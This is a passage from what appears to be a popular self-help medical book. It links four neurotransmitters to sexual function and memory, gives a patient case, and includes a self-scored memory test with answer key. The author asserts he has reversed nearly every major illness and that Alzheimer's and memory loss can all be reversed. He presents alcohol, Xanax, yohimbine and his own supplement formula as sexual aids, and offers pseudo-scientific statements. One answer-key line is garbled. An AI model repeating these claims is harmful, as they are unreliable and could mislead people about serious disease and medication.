The four natures all play an important role in sexual function. Dopamine controls libido, aggression, and power. When people lose interest in sex, they are usually experiencing a dopamine deficiency. When a patient is sad or blue and has no sex drive, antidepressants such as Wellbutrin and Effexor are great for increasing sexual interest. An equally effective over-the-counter treatment that combats psychogenic impotence is the herb yohimbine, which is also a dopamine-related compound. Any of the other dopamine-enhancing nutrients can be used as a sexual enhancer, including my Brain Energy formula.
A loss of acetylcholine affects your creative consciousness. In terms of sexual issues, less-creative feelings inhibit your ability to view yourself as a sexual person. Furthermore, as acetylcholine controls the moisture levels in the brain and body, a loss of this biochemical will affect women sexually because as they age they lose their ability to lubricate the vagina. Acetylcholine does not impact sexual performance as powerfully as dopamine; rather, its impact is felt over the course of a lifetime. For example, young people have the highest amount of sexual activity because their acetylcholine is at its peak, while older people usually experience a drop-off in sexual activity. Use acetylcholine-enhancing compounds to produce a general increase in sex drive.
When it comes to addressing sexual problems, doctors tend to look at GABA remedies to treat sexual anxieties or to enable people to relax in order to enjoy sexual relations. For example, an alcoholic drink or two will immediately relax you and help you overcome performance anxiety. We do it all the time in our culture when we engage in normal sexual mating rituals. We go out, we have a drink, and all of a sudden we get in touch with our suppressed sexual energy. GABA-friendly medications such as Xanax act in the same way. Nutrients such as inositol can also help calm the mind and body so that you can enjoy sexual relations.
In the case of premature ejaculation, doctors have been able to help men prolong erections by tapping into the serenity factor of serotonin. Essentially, all cases of premature ejaculation respond to serotonin-enhancing drugs. As we know, SSRI antidepressants such as Paxil, Celexa, Prozac, and Zoloft build serotonin. In addition, patients experiencing sexual problems frequently respond to tricyclic antidepressants that raise serotonin levels, such as Anafranil.
Women and men who have an excess of serotonin often have trouble having orgasms. If they have too much dopamine, on the other hand, they are quicker to have an orgasm, which can be a problem for men.
Alex was a sixty-year-old man who came to me complaining of anxiety, tension, and lack of sexual activity. Alex looked to be overweight, and a routine physical examination revealed mild hypertension and mild enlargement of the prostate. A Doppler ultrasound test, which detects blockages of the arteries and veins, indicated a significant loss of blood flow to the brain. His Braverman Nature Assessment revealed a severe dopamine deficiency. Blood testing revealed low testosterone.
I treated Alex with Androderm (a testosterone patch), Paxil (to address his anxiety, verbal memory loss, and overall brain function decline), DHEA, and nitroglycerine cream—which acts as a vasodilator. One month into his treatment, the patient reported improved sexual function, specifically stating that his erections had returned and were quite satisfactory. Additionally, he'd lost ten pounds and simply felt better.
The sexual Edge Effect occurs when all four of your primary neurotransmitters are balanced or enhanced. When your dopamine is high, you experience strong sex drive. When your acetylcholine is high, you are sexually aware and creative. Your body becomes better lubricated: it is easier for you to have an orgasm, and a woman might be able to have multiple orgasms. When your GABA is high, your mind is connected to your sexuality. Sex comes easily: there is no tension, frigidity, or premature ejaculation. When your serotonin is high, you have an ideal duration of intercourse, neither too short nor too long. You have a fluid connection between your sexual fantasies and your real life. When the balanced brain hits these four peaks, you will reach new states of sexual experience.
**THE BALANCED-BRAIN ADVANTAGE**
As you can see, so many medical conditions are the result of a brain that's out of balance. The story of all illness is imbalance at the edge. Over the past twenty-five years, I have seen almost every major medical condition in my patients and have reversed them all by balancing the brain. The proper selection of nutrients and hormones to enhance all four neurotransmitters triggers a cascade that completely reverses or puts into remission all types of illnesses. Simply put, the Edge Effect makes a powerful difference.
You can return to total health. By following the suggestions with regard to your primary nature you can regain your edge. And by enhancing all of the natures, you can prevent further aging, reverse your current conditions, and experience the full Edge Effect.
IMPROVING YOUR MEMORY
AS WE AGE, many of us fear losing our memory. The threat of Alzheimer's is particularly scary: in 1997 alone, 2.3 million people as young as age sixty were diagnosed with this disease. Most people worry about forgetting names, telephone numbers, and where they put things.
The good news is that most memory complaints are not problems with memory at all but can be attributed to a biochemical loss that also shows up as anxiety, depression, illness, or emotional disturbances. For example, the tip-of-the-tongue syndrome, in which you forget things but feel as though you're on the verge of recalling them, is really just a symptom of anxiety. What's more, Alzheimer's, anxiety, and memory loss are not inevitable consequences of aging. Rather, they are concrete indications of brain chemical deficiencies, and they can all be reversed.
When mild deficits are uncovered early, nature-specific remedies can be used to postpone the ravages of senility. If you experience any problems with memory, don't ignore them. As we age, we lose many of the brain's nerve connections, but we do not lose brain cells. Some studies even suggest that we can grow new brain cells and reconnect disconnected brain cells.
**PERCEPTION AND MEMORY**
There are two universal truths regarding our ability to remember: memory is not always accurate, and memories do not last forever. Memory is affected by perception, feeling, and experience. As we age, we remember events differently. Memories of traumatic childhood events are frequently distorted because of their emotional content, and false memories can easily occur—the reality of a memory is extremely difficult to establish without independent confirmation. If you ask individuals to remember events from childhood at age fifty-five and then at age seventy, their answers vary greatly.
The full effect of perception depends considerably on how an event is experienced and filtered through memories, emotions, and fantasies, because perception is colored by past experiences, associated memories, and concurrent social inputs. For example, how a person remembers a trip to New York City depends in part on the person's feelings, experiences, and beliefs about the city. People visiting New York for the first time and know of it primarily as a city of tall buildings may remember the skyscrapers; others who previously lived there and disliked it may retain a perceptual memory of a dirty, crowded city of scowling faces.
The intensity of perceptions depends on an individual's sensitivities, mood, level of anxiety, substance use, and health. If you ask ten of your friends to watch an event together and report on the details, all ten will have slightly different takes because they all perceive things uniquely. For example, clinically depressed people often describe colors as faded, conveying a sense that the world looks washed-out, even though their capacity to recognize and distinguish specific colors is unchanged.
**THE FOUR TYPES OF MEMORY**
Every one of us is born with a range of perceptual and memory abilities. There are four distinct types of memory that can reflect a particular biochemical imbalance: working memory, immediate memory, verbal memory, and visual memory.
_Working memory_ involves the ability to concentrate quickly or take in information or stimuli that are verbally or visually presented. When a stimulus is presented to the brain, your working memory either quickly records it or doesn't. Working memory involves bringing together old and current data. If you are overloaded with the latter, the brain will dump older memories to make room for new ones. Long-term memory correlates with working memory: if you can absorb information initially, you will also be able to store it. The functions of working memory include motor control, concentration, problem-solving skills, planning, retention of knowledge, and initial registration, all of which are regulated by the frontal lobes and the neurotransmitter dopamine.
_Immediate memory_ is a short-term effect—lasting only about thirty seconds—that occurs when a stimulus is presented but before it has been recorded in long-term memory. It is difficult to distinguish where working memory ends and immediate memory begins. Immediate memory comprises both verbal and visual memories. It is helpful for mastering simple daily activities and is an indication of one's learning capabilities and basic alertness. Immediate memories are briefly stored in the parietal lobes, which are regulated by acetylcholine.
_Verbal memory_ is necessary for storing sounds, words, and stories. For example, listening to a lecture and later recalling exactly what was said demonstrates good verbal memory. The temporal lobes, which are regulated by GABA, store memories of written or verbally presented information.
_Visual memory_ involves the ability to absorb and retain information such as faces, colors, shapes, designs, symbols, and your surroundings. People who can drive to a location after having been there only once demonstrate excellent visual memory. The serotonin-producing occipital lobes control visual and sensory training and connect with the immediate memory of the parietal lobes.
A memory begins with the reception of information controlled by the parietal lobes and the neurotransmitter acetylcholine. If brain speed is optimum, the memory will be passed on and processed in the frontal lobes, which are powered by dopamine. Memory decline starts at the beginning: if we cannot receive information, we cannot process or store it. Signs of memory loss are therefore characterized by slowed brain speed and abnormal power and metabolism. Identifying what your particular memory problem stems from is as easy as identifying your nature. Not surprisingly, the two are closely linked.
**THE BRAVERMAN
MEMORY TEST **
Many of the elements of the Braverman Memory Test are comparable to the Wechsler Memory Scale (WMS), and the Randt Memory Test, recognized standards for testing short-term memory and attention. There are six parts to this test. Please set time aside to complete the entire test in one sitting. You can take as much time as you like to complete the tests. For many of the sections it will be beneficial to have someone else assist you. Make sure that you are well rested before you take this memory test. Follow all directions carefully and record your answers in this book. If you believe that you are already experiencing the early stages of memory loss you might want to photocopy the test pages so that yhou can take the test again at a later date, after you have been following my healing program.
After completing all of the tests you will be able to see if your answers were correct. You will tally your points at the end of the tests to determine your score. Ideally, set aside one hour or complete each part before resting.
**PART 1:**
STORIES (AUDITORY AND IMMEDIATE MEMORY)
_Instructions:_ Carefully read each of the following stories one time. This test would be more effective if you could have someone else read the stories to you slowly. After each story, write down the answers to the questions. Do not read the questions before you read the story, and do not refer back to any part of the story in order to answer the questions. If you can't answer any question immediately, skip the question entirely: do not revisit the questions missed once the test is finished. When you have answered all the questions, proceed to the next story.
**STORY 1**
Jacob Welch is an eight-year-old Cub Scout whose goal is to earn the recruiter badge from his Cub Scout pack. He has been working to recruit other classmates at his school, Walker Elementary. One of Jacob's classmates, Andy Parkinson, came to the sign-up night at St. Paul's Church with his father. At the next Cub Scout pack meeting on Monday, October 19, Jacob received the recruiter badge. His parents were so proud of him that they took him out after the meeting for his favorite dessert, two scoops of chocolate ice cream in a sugar cone.
**Questions for Story 1**
1. What is the Cub Scout's name?
2. How old is he?
3. What is his goal?
4. What school does he attend?
5. What is his friend's full name?
6. Who accompanied Andy to the meeting?
7. What was Andy doing at the meeting?
8. What month was the next Cub Scout meeting?
9. What date was the next Cub Scout meeting?
10. What happened at the next meeting?
11. Who was at the meeting with Jacob?
12. What was the reaction of Jacob's parents?
13. What did they take him to get after the meeting?
14. How many scoops does Jacob like?
15. What was the flavor?
16. Was it in a cup?
17. If not, what was it in?
**STORY 2**
A young girl was walking to school on a Monday as she passed a brick building that was under construction. Five men were there tearing the building down and were working on the seventh floor. As she turned onto Lexington Street, the girl heard what sounded like kittens crying. She went up to the building and saw three kittens huddled in a corner. The kittens were white and black, and there was no mother cat in sight. The girl could not leave the kittens at the construction site, so she put them in her backpack and took them to school. At the end of the day, she sold the kittens to classmates for $10 each.
**Questions for Story 2**
1. Was the story about a boy or a girl?
2. What day of the week was it?
3. Where was she walking to?
4. What did she pass on her way to school?
5. What was the building made of?
6. What was happening to the building?
7. How many men were working on it?
8. What street did she turn onto?
9. What did she hear as she turned the corner?
10. What did she find at the construction site?
11. How many were there?
12. What color were they?
13. Was the mother there?
14. Where did she take them?
15. How did she take them?
16. What did she do with them?
17. How much did she sell them for?
**STORY 3**
Missy and Daniel McKinnon have owned the Healthy Coffee Shop on the corner of Wilson Street and Benson Street for the past twenty years in rented space. In November the building was sold to another person by the name of Bart Styles. Bart decided to increase the rent by more than $200 per month. Missy and Daniel decided the rent was too expensive and found a new location on River Street. Their shop will be open for business on January 14, and they will be having specials on coffee and special health shakes made of strawberries.
**Questions for Story 3**
1. What are the first and last names of the shopkeepers?
2. What is the name of their store?
3. Where was the store located?
4. How long had the store been at that location?
5. Did they own the building where the store was?
6. When was the building sold?
7. What was the name of the man who bought it?
8. What did the new landlord do?
9. What did Missy and Daniel do in reaction to the rent increase?
10. Where will the new store be located?
11. What month will they be open for business again?
12. What date will they open for business again?
13. Will they be serving all their food at the regular price?
14. Will they be having specials on salads?
15. What are they having specials on?
16. Do they serve health shakes?
17. What are the shakes made of?
**STORY 3—SECOND RECALL**
Return to Story 3 and reread Story 3, then answer the next set of questions. Do not read the questions before you read the story, and do not reread any part of the story to answer the questions. The test will be more accurate if someone else can read the story aloud to you.
**Questions for Story 3—Second Recall**
1. What are the first and last names of the shopkeepers?
2. What is the name of their store?
3. Where was the store located?
4. How long had the store been at that location?
5. Did they own the building where the store was?
6. When was the building sold?
7. What was the name of the man who bought it?
8. What did the new landlord do?
9. What did Missy and Daniel do in reaction to the rent increase?
10. Where will the new store be located?
11. What month will they be open for business again?
12. What date will they open for business again?
13. Will they be serving all their food at the regular price?
14. Will they be having specials on salads?
15. What are they having specials on?
16. Do they serve health shakes?
17. What are the shakes made of?
**PART 2: OBJECTS**
(Visual and Immediate Memory)
On the following pages you will see three sets of 24 objects each; set 1 contains the reference objects. You are going to look at each object in the first set for two seconds. To do this most effectively, take a sheet of paper and cut a one-inch square out of the middle. Then place the opening over one picture at a time, until you have viewed all of the objects. The goal is to become familiar with each object within the two seconds and then move on to the next one. Then you may begin to view the second set of objects. This time, look at the entire page at once. The goal of the test is to identify the objects you saw previously. Use the grid below to record your answers after you have viewed the second set of objects. As you view each object, answer yes if you remember seeing it previously and no if you do not. Repeat the test on the third set of objects. Use the answer sheet below to record your answers.
**Answer Sheet**
Choose Y or N to indicate your answer.
**Set 2**
---
a) Y / N
b) Y / N
c) Y / N
d) Y / N
e) Y / N
f) Y / N
g) Y / N
h) Y / N
i) Y / N
j) Y / N
k) Y / N
l) Y / N
m) Y / N
n) Y / N
o) Y / N
p) Y / N
q) Y / N
r) Y / N
s) Y / N
t) Y / N
u) Y / N
v) Y / N
w) Y / N
x) Y / N
**Set 3**
---
a) Y / N
b) Y / N
c) Y / N
d) Y / N
e) Y / N
f) Y / N
g) Y / N
h) Y / N
i) Y / N
j) Y / N
k) Y / N
l) Y / N
m) Y / N
n) Y / N
o) Y / N
p) Y / N
q) Y / N
r) Y / N
s) Y / N
t) Y / N
u) Y / N
v) Y / N
w) Y / N
x) Y / N
SET 1—REFERENCE OBJECTS
SET 2
SET 3
**PART 3: PAIRS**
(Auditory and Immediate Memory)
_Instructions:_ This test is most effective if you have someone assist you. You are going to try to remember what words are matched together. Have your assistant read the eight word pairs in the trial column carefully and slowly, at a rate of approximately one pair every three seconds. Then have your assistant turn to the recall column and read the first word of each pair. It is your job to recall the second word of each pair.
For example, _dog-apple_ is a word pair. In the recall column you will see **dog** _____. If you have an assistant, say _apple_ aloud, and your assistant will write it down. If no assistant is available, read these words to yourself aloud, and then cover the pairs in the trial column with a sheet of paper and fill in the blanks at right as best as you can.
This test consists of four trials to recall the eight pairs in different orders. Once you have finished the first trial, move on to the next.
**Trial 1**| **Recall 1**
---|---
car-stripe | 1. garage ____________
wasp-tree | 2. snake ____________
snake-rainbow | 3. circle ____________
garage-magazine | 4. daisy ____________
circle-stairs | 5. giraffe ____________
rabbit-popcorn | 6. car ____________
daisy-box | 7.wasp ____________
giraffe-mirror | 8. rabbit ____________
**Trial 2**| **Recall 2**
---|---
circle-stairs | 1. giraffe ____________
giraffe-mirror | 2. wasp ____________
wasp-tree | 3. snake ____________
car-stripe | 4. daisy ____________
snake-rainbow | 5. circle ____________
garage-magazine | 6. rabbit ____________
rabbit-popcorn | 7. garage ____________
daisy-box | 8. car ____________
**Trial 3**| **Recall 3**
---|---
daisy-box | 1. wasp ____________
rabbit-popcorn | 2. circle ____________
circle-stairs | 3. car ____________
snake-rainbow | 4. daisy ____________
giraffe-mirror | 5. giraffe ____________
wasp-tree | 6. snake ____________
garage-magazine | 7. garage ____________
car-stripe | 8. rabbit ____________
**Trial 4**| **Recall 4**
---|---
rabbit-popcorn | 1. circle ____________
car-stripe | 2. daisy ____________
circle-stairs | 3.wasp ____________
wasp-tree | 4. rabbit ____________
daisy-box | 5. giraffe ____________
snake-rainbow | 6. garage ____________
garage-magazine | 7. snake ____________
giraffe-mirror | 8. car ____________
**PART 4: PICTURES**
(Visual and Immediate Memory)
_Instructions:_ Look at each picture for ten seconds. Study all of the minute details. Try to remember as much as you can about the picture. Then turn the page and answer the questions pertaining to that scene. Give yourself about five seconds to answer each question. If you don't know the answer after five seconds, move on to the next question.
Picture A
**Questions for Picture A**
1. How would you describe the scene?
2. How many people are walking down the street?
3. What time is it?
4. How many children are in the scene?
5. What are they carrying?
6. Is the woman's hair dark or light?
7. What is the man holding?
8. What is the name of the street?
9. How many buildings are in the scene?
10. What type of train is the man going to take?
11. How is the man dressed?
12. How many taxicabs are in the picture?
13. How many signs are on the sidewalk?
Picture B
**Questions for Picture B**
1. Where does the scene take place?
2. What is going on in the picture?
3. How many children are in the picture?
4. What is the little girl doing?
5. How many children are wearing hats?
6. What are the boys doing?
7. What is the dog doing?
8. What is the man doing?
9. Is it snowing?
10. Does the girl seem happy?
11. What kind of hat is the girl wearing?
12. How many houses are in the picture?
13. Do any of the houses have fences around them?
Picture C
**Questions for Picture C**
1. How would you describe the scene?
2. What is the woman on the beach doing?
3. Are there clouds in the sky?
4. What else is in the sky?
5. What is the man doing?
6. What are the children doing?
7. Does the man's bathing suit have stripes?
8. Whose sandcastle is bigger?
9. What is the woman on the beach wearing?
10. How many towels are laid out?
11. What is the man holding?
12. Is there a dog in the picture?
13. How many people are in the water?
Picture D
**Questions for Picture D**
1. What is the name of the hotel?
2. How many stories is the hotel?
3. What activities does the hotel have?
4. Are there any vacancies at the hotel?
5. How many balconies overlook the pool?
6. What are the pool rules?
7. What time does the pool close?
8. How many people are in the middle of the pool?
9. What is the man in the pool doing?
10. Is there a lifeguard on duty?
11. What are the people at the table doing?
12. Are they drinking?
13. How many clouds are in the sky?
**PART 5: NUMBERS**
(Working Memory)
**Section A:** This test will be more effective if you have someone else read it to you slowly. However, if that is not possible, please read the directions for taking this test alone.
_Instructions if you are taking this test with an assistant:_ Have the assistant read each sequence one at a time. Repeat back the sequence in the exact order you heard it. The assistant should record your answer in the space provided. If you miss two consecutive sequences, move on to the next exercise. Calculate your total number of correct sequences.
_Instructions if you are taking this test alone:_ Read each number sequence once, then cover it with a piece of paper and write down the sequence from memory in the space provided. Continue to work down the list until you miss two consecutive sequences. Calculate your total number of correct sequences and move on to the next exercise.
**Section B:** Read the sequence of numbers, following the same instructions as in Section A. However, write down or repeat the numbers _in the reverse order._ For example, sequence 1-2 would be written down 2-1. If you miss two consecutive sequences, please move on to the next exercise.
**PART 6: NUMBERS AND LETTERS**
(Working Memory and Concentraton)
_Instructions:_ You are going to arrange the letters and numbers that you read or hear (if you have an assistant) in a certain order. The first sequence contains one letter and one number. The trick is that when you recall the sequence you must always _put the number first._ For example, both H-5 and 5-H would be recorded as 5-H.
The sequences will become increasingly difficult, involving more than one number and letter. Continue arranging the numbers before the letters. Both the numbers and the letters should be in ascending order. For example, 2-G-4 should be recorded as 2-4-G; 8-Z-D-2 should be recorded as 2-8-D-Z. If you miss two sequences, stop.
**BONUS SECTION**
(Passive Memory Recall)
After you finish the six parts to the test, see if you can recall the names of each section. Write them down in the spaces provided.
Part 1____________________________________
Part 2____________________________________
Part 3____________________________________
Part 4____________________________________
Part 5____________________________________
Part 6____________________________________
**ANSWER KEY**
**Part 1:** Give yourself 1 point for each correct answer. Record the number of correct items in the space below.
**Story 1**
1. Jacob Welch
2. Eight years old
3. To earn the recruiter badge
4. Walker Elementary School
5. Andy Parkinson
6. Andy Parkinson's father
7. Sign-up night
8. October
9. The nineteenth
10. Jacob was awarded the recruiter badge
11. His parents
12. They were proud of him
13. To get ice cream
14. Two
15. Chocolate
16. No
17. Sugar cone
**Story 1 total (1–17): ______**
**Story 2**
1. A girl
2. Monday
3. To school
4. A building
5. Brick
6. It was under construction/being torn down
7. Five men
8. Lexington Street
9. Crying kittens
10. Kittens
11. Three
12. Black and white (½ point for only one color)
13. No
14. To school
15. She put them in her backpack
16. She sold them to her classmates
17. $10 each
**Story 2 total (1–17): ______**
**Story 3**
1. Missy and Daniel McKinnon
2. The Healthy Coffee Shop
3. On the corner of Wilson Street and Benson Street
4. Twenty years
5. No
6. November
7. Bart Styles
8. He increased the rent by over $200 per month
9. Found a new location
10. River Street
11. January
12. The fourteenth
13. No
14. No
15. Coffee and health shakes (½ point for only one right)
16. Yes
17. Strawberries
**Story 3 (first recall) total (1–17): ______**
**Story 3 (second recall) total (1–17): ______**
**Total for Part 1 (0–68): _______**
Record the total score on the raw score sheet on Raw Score Sheet for Braverman Memory Test.
**Part 2:** Give yourself two points for each correct answer.
**Set 2**
a. N ___
---
b. N ___
c. Y ___
d. Y ___
e. N ___
f. Y ___
g. Y ___
h. Y ___
i. N ___
j. Y ___
k. N ___
l. N ___
m. Y ___
n. Y ___
o. N ___
p. Y ___
q. Y ___
r. N ___
s. Y ___
t. N ___
u. N ___
v. Y ___
w. N ___
x. N ___
**Set 3**
a. Y ___
---
b. N ___
c. N ___
d. N ___
e. N ___
f. Y ___
g. Y ___
h. Y ___
i. N ___
j. Y ___
k. Y ___
l. N ___
m. Y ___
n. N ___
o. N ___
p. Y ___
q. N ___
r. N ___
s. Y ___
t. N ___
u. Y ___
v. Y ___
w. N ___
x. Y ___
**Total score for Part 2 (0–48): _______**
Record the total score on the raw score sheet on Raw Score Sheet for Braverman Memory Test.
**Part 3:**
Give yourself 1 point for each correct answer.
**Recall 1**
---
1. magazine
2. rainbow
3. stairs
4. box
5. mirror
6. stripe
7. tree
8. popcorn
**Total (0–8): ___**
**Recall 2**
1. mirror
2. tree
3. rainbow
4. box
5. stairs
6. popcorn
7. magazine
8. stripe
**Total (0–8): ___**
**Recall 3**
1. tree
2. stairs
3. stripe
4. box
5. mirror
6. rainbow
7. magazine
8. popcorn
**Total (0–8): ___**
**Recall 4**
1. stairs
2. box
3. tree
4. popcorn
5. mirror
6. magazine
7. rainbow
8. stripe
**Total (0–8): ___**
**Total score for Part 3 (0–32): _____**
Record the total score on the raw score sheet on Raw Score Sheet for Braverman Memory Test.
**Part 4:**
Give yourself 1 point for each correct answer.
**Picture A**
---
1. City street/sidewalk/afternoon
2. Five
3. Three o'clock
4. Three
5. Backpacks
6. Dark
7. A cell phone/briefcase
8. 4th Avenue
9. Three
10. Subway
11. In a business suit
12. One
13. Two
**Picture A total (0–13): _____**
**Picture B**
1. On a residential street
2. People shoveling/playing
3. Five
4. Being pulled on a sled
5. Four
6. Having a snowball fight
7. Jumping
8. Shoveling
9. Yes
10. Yes
11. Knit
12. Three
13. Yes
**Picture B total (0–13): _____**
**Picture C**
1. The beach/seashore
2. Setting up an umbrella
3. Yes
4. Seagulls
5. Taking something out of cooler
6. Swimming/building sandcastles
7. No
8. The girl's
9. A bikini top and a wrap
10. One
11. A can
12. No
13. Five
**Picture C total (0–13): _____**
**Picture D**
1. Hotel Regal
2. Two
3. Swimming/hot tub
4. No
5. Six
6. No diving
7. 4 PM
8. Two
9. Swimming laps
10. No
11. Snacking
12. No
13. Two
**Picture D total (0–13): _____**
**Total score for all Part 4 pictures (0–52): _______**
Record the total score on the raw score sheet on Raw Score Sheet for Braverman Memory Test.
**Part 5:** Give yourself 1 point for each correct answer.
**Section A**
1. 8-3 2-9
2. 6-9-2 6-1-7
3. 5-7-3-4 8-6-0-9
4. 1-8-6-3-9 2-7-4-5-6
5. 7-2-5-9-4-8 0-8-3-1-2-5
6. 2-9-8-3-5-7-6 3-9-8-6-5-2-7
7. 8-7-9-0-2-6-1-4 8-2-7-3-9-5-4-0
8. 3-5-2-7-9-6-2-3-0 7-2-8-4-1-3-0-2-6
**Section A total 0–16): _______**
**Section B**
1. 3-1 9-2
2. 7-8-2 8-0-5
3. 6-8-7-9 4-2-4-7
4. 9-3-6-8-1 8-6-2-1-9
5. 8-4-9-5-2-7-5-2-1-3-8-0
6. 8-1-7-2-4-0-3 0-8-2-1-4-5-3
7. 8-7-3-1-4-7-9-6 0-4-5-9-3-7-2-8
**Section B total (0–14): _______**
**Total score for Part 5 (0–30): _______**
Record the total score on the raw score sheet on Raw Score Sheet for Braverman Memory Test.
**Part 6:**
Give yourself 1 point for each correct sequence.
1. 1-R
2. 2-D
3. 7-T
4. 2-G-P
5. 3-9-K
6. 5-A-P
7. 1-2-9-R
8. 3-4-C-Z
9. 2-7-N-U
10. 2-4-6-B-E
11. 1-8-C-H-X
12. 2-6-7-A-Y
13. 2-4-7-E-M-Y
14. 3-8-9-I-K-Q
15. 2-4-6-B-R-S
16. 1-3-5-E-J-R-U
17. 3-4-7-D-N-Y
18. 2-6-9-P-S-W
19. 1-2-6-7-E-G-N-P
20. 1-2-4-7-D-J-K-L
**Total score for Part 6 (0–20): _______**
Record the total score on the raw score sheet on Raw Score Sheet for Braverman Memory Test.
**Bonus Section:**
Give yourself 1 bonus point for each correct test title.
Part 1: Stories
Part 2: Objects
Part3: Pairs
Part 4: Pictures
Part 5: Numbers
Part 6: Numbers and letters
**RAW SCORE SHEET FOR
BRAVERMAN MEMORY TEST **
Individual Raw Scores
Part 1: Stories (0–68): ______ (Auditory/Immediate Memory)
Part 2: Objects (0–48): ______ (Visual/Immediate Memory)
Part 3: Pairs (0–32): ______ (Auditory/Immediate Memory)
Part 4: Pictures (0–52): ______ (Visual/Immediate Memory)
Part 5: Numbers (0–30): ______ (Working Memory)
Part 6: Numbers and letters (0–20): ______ (Working Memory/Concentration)
Bonus Section: titles (0–6): ______ (Passive Memory Recall)
1. Add the raw scores for Parts 5 and 6, _multiply by 2_ , and write the total next to Working Memory under Grand Totals.
2. Add the raw scores for Parts 1 through 4, _divide by 2_ , and write the total next to Immediate Memory under Grand Totals.
3. Add the raw scores for Parts 1 and 3, and place the total number next to Auditory/Immediate Memory under Grand Totals.
4. Add the raw scores for Parts 2 and 4 and write the total number next to Visual/Immediate Memory under Grand Totals.
5. Finally, add any bonus points you received in the Bonus Section.
**GRAND TOTALS:**
1. Working Memory (Dopamine) (0–100): ___
2. Immediate Memory (Acetylcholine) (0–100): ______
3. Auditory/Immediate Memory (GABA) (0–100): ______
4. Visual/Immediate Memory (Serotonin) (0–100): ______
5. Bonus points (0–6): ______
**Interpretation of Scores**
**90–100+:** Genius memory capabilities—your memory is functioning at a level few can attain
**75–90:** Above-average memory capabilities—the minimum baseline of normal memory functioning
**60–75:** Average memory capabilities—can indicate the possibility of an early deficiency, because most of us experience a deficiency in at least one of biochemicals at all times
**35–60:** Below-average memory capabilities—a sign of an existing memory deficiency that needs to be addressed
**0–35:** Poor memory capabilities—a sign of an existing memory deficiency that needs to be addressed
If your score was lower than you would like, do not be discouraged. There could be many reasons why your memory is not currently functioning well. Just remember that memory deficiency can be helped and, most important, it can be reversed.
**WHEN DOES MEMORY FAIL?**
The majority of all memory lapses are for names: those of our friends and acquaintances, famous people, and those not truly germane to our everyday life. Generally speaking, forgetting names is not much of a problem and is a normal part of our brain's mental functioning, due to the fact that we have only a limited storage area for memory. True memory problems present themselves as difficulties in speaking, reading, and writing, and as dramatic changes in personality. These are not quaint consequences of getting older—they are all early signals of cognitive decline.
As you age, the production of your biochemicals and their related hormones diminishes, potentially affecting your ability to remember. However, you should not be experiencing a failure to remember what should be familiar places and events more than once every few months until you reach the age of sixty. Forty percent of people have declining memory, or memory dysfunction, beginning at age fifty, yet some of us experience a decline in overall memory ability as early as age twenty. Many of us experience our first "senior moments" by the age of forty or forty-five, when our brain begins to lose its processing speed.
**THE MANY CAUSES OF MEMORY LOSS**
There are multiple physiological changes in the brain that are associated with the loss of memory and mental deterioration. No matter what age you are, a decline in memory is a signal that you are experiencing the negative side of the Edge Effect. When memory loss occurs, your brain chemicals are imbalanced. Acetylcholine is the biochemical most directly involved with memory loss.
Acetylcholine promotes two important functions: brain speed and brain moisture. Changes in brain speed mark the process of memory loss. When our brain speed slows, we cannot think as quickly, and we lose the ability to recall events, directions, or names stored in our working memory. Our immediate memory is also affected, as we lose the ability to process information from immediate to working memory. As little as ten to twenty milliseconds of lost processing speed spells the difference between optimal and suboptimal brain functioning. Remember, memory is processed as a wave and a particle; as the wave slows down, the individual particles are dropped.
The causes of a loss of brain speed are a lack of moisture and the subsequent damage to the brain's information highway. Neurons begin to lose some of their chemical firepower, and neuronal connections are short-circuited by a buildup of plaque (clumps of damaged neuronal material mixed with a sticky protein called beta amyloid), the breakdown of the insulating layer that covers neurons, and the loss of cerebrospinal fluid. These underlying physical changes cause cognitive decline.
Many acetylcholine-related medical conditions also can contribute to memory loss. Significant memory loss can occur rapidly with multiple sclerosis and in seizure patients, both of whom are suffering from the same loss of myelin sheathing. Patients with attention deficit disorder have memory processing problems due to this bumpy acetylcholine highway. Infections and inflammation, including encephalitis and HIV, affect attention and reaction time. An HIV patient may have good recognition memory but poor recall memory.
Brain speed is also directly affected by declines in the other three neurotransmitters. A dopamine deficiency and its related energy loss in the brain can manifest itself as a weakened working memory. The extra stress put on the brain to make up for the loss of power also consumes additional acetylcholine. Drug abuse, addiction, and neuropsychiatric disorders such as schizophrenia are also linked to dopamine-related memory loss.
GABA deficiencies are often signaled by chronic pain. Severe pain causes memory loss, as inadequate support from painkillers lowers GABA levels, which monitor overall brain rhythm. When brain rhythm goes, additional acetylcholine is used up. Mentally, GABA-related irregular brain rhythms indicate a memory interference that can be due to either anxiety or depression. Physically, GABA plays a role in epilepsy, which can cause memory loss and amnesia.
Serotonin deficiencies cause the brain to receive inadequate rest. Temporary memory losses occur with constant use of over-the-counter medications such as antihistamines, flu medicines, and antidiarrhea treatments, which can damage memory by affecting the sleep cycle. Over the long term, abnormal brain symmetry can lead to serious sleep disorders, which in turn cause memory interference. Lack of sleep also contributes to depression and/or trauma, which can also impair memory.
**MEMORY LOSS AND THE PAUSES**
As we age, our bodies produce fewer hormones, which leads to brain pauses. We produce less growth hormone between ages thirty and fifty, less estrogen and testosterone by ages forty or fifty, less DHEA between thirty and sixty, and possibly less progesterone by age sixty. These pauses can all cause memory loss. For example, a deficiency in melatonin leads to interruptions in the sleep cycle, leaving memory storage damaged; low progesterone leads to increased brain anxiety, which is destructive to memory; growth hormone deficiency stunts brain cell growth.
**HOSPITAL PROCEDURES**
Hospital procedures, such as bypass surgery or even something as common as general anesthesia, can also damage memory. Researchers tell us that invasive procedures for saving the heart frequently mean losing memory. For example, studies have shown that five years after bypass surgery, 42 percent of patients suffer from cognitive decline. Virtually any surgery is a memory challenge and can start the cycle of memory loss.
**ALZHEIMER'S DISEASE: THE ULTIMATE
NEGATIVE EDGE EFFECT**
Alzheimer's disease is one of the most frightening prospects of old age. _Alzheimer's_ is a term used to describe a collection of dementias and dementia symptoms beginning with cognitive or memory deterioration and often definitively diagnosable only by autopsy, which reveals the disease's characteristic plaques, neuronal tangles, and shrinkage of the brain. Alzheimer's disease is often referred to as brain failure, the disintegration of brain function. Alzheimer's has many stages, which begin in the temporal lobes with subtle, short-term verbal and later visual memory changes. In the most positive cases, it never progresses beyond memory loss. In the worst ones, it leads to the complete breakdown of all physical systems, including digestive and metabolic functioning, vision, and speech.
